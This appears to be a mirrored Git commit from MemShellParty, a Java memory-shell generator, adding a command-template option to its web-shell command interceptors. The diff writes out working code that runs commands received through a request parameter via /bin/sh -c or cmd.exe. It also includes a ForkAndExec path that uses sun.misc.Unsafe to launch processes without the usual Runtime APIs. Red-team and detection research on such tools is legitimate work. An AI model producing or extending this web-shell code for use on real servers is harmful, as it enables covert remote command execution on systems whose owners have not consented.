mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support command template
This commit is contained in:
@@ -15,15 +15,30 @@ import org.apache.commons.lang3.StringUtils;
|
||||
@SuperBuilder
|
||||
@ToString
|
||||
public class CommandConfig extends ShellToolConfig {
|
||||
|
||||
/**
|
||||
* 接收参数的请求头或请求参数名称
|
||||
*/
|
||||
@Builder.Default
|
||||
private String paramName = CommonUtil.getRandomString(8);
|
||||
|
||||
/**
|
||||
* 加密器
|
||||
*/
|
||||
@Builder.Default
|
||||
private Encryptor encryptor = Encryptor.RAW;
|
||||
|
||||
/**
|
||||
* 实现类
|
||||
*/
|
||||
@Builder.Default
|
||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||
|
||||
/**
|
||||
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
||||
*/
|
||||
private String template;
|
||||
|
||||
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
public B paramName(String paramName) {
|
||||
|
||||
+8
-6
@@ -1,8 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||
@@ -44,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
|
||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||
builder = builder.visit(Advice.withCustomMapping()
|
||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||
.to(RuntimeExecInterceptor.class)
|
||||
.on(named("getInputStream")));
|
||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||
builder = builder.visit(Advice.withCustomMapping()
|
||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||
.to(ForkAndExecInterceptor.class)
|
||||
.on(named("getInputStream")));
|
||||
}
|
||||
|
||||
return builder;
|
||||
}
|
||||
}
|
||||
+23
-5
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
|
||||
*/
|
||||
public class ForkAndExecInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||
@TemplateAnnotation String template
|
||||
) throws IOException {
|
||||
try {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
String[] cmdarray = null;
|
||||
String t = template;
|
||||
if (t == null) {
|
||||
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||
} else {
|
||||
if (t.contains("\"{command}\"")) {
|
||||
String[] split = t.split("\\s+");
|
||||
for (int i = 0; i < split.length; i++) {
|
||||
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||
}
|
||||
cmdarray = split;
|
||||
} else {
|
||||
String cmdline = t.replace("{command}", cmd);
|
||||
cmdarray = cmdline.split("\\s+");
|
||||
}
|
||||
}
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
|
||||
}
|
||||
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
byte[][] args = new byte[cmdarray.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
args[i] = cmdarray[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] bytes = strs[0].getBytes();
|
||||
byte[] bytes = cmdarray[0].getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
|
||||
+23
-3
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
@@ -10,9 +11,28 @@ import java.io.InputStream;
|
||||
* @since 2025/5/25
|
||||
*/
|
||||
public class RuntimeExecInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd,
|
||||
@Advice.Return(readOnly = false) InputStream returnValue,
|
||||
@TemplateAnnotation String template
|
||||
) throws IOException {
|
||||
String[] cmdarray = null;
|
||||
String t = template;
|
||||
if (t == null) {
|
||||
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||
} else {
|
||||
if (t.contains("\"{command}\"")) {
|
||||
String[] split = t.split("\\s+");
|
||||
for (int i = 0; i < split.length; i++) {
|
||||
split[i] = split[i].replace("\"{command}\"", cmd);
|
||||
}
|
||||
cmdarray = split;
|
||||
} else {
|
||||
String cmdline = t.replace("{command}", cmd);
|
||||
cmdarray = cmdline.split("\\s+");
|
||||
}
|
||||
}
|
||||
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
|
||||
}
|
||||
}
|
||||
|
||||
+8
@@ -0,0 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
public @interface TemplateAnnotation {
|
||||
}
|
||||
Reference in New Issue
Block a user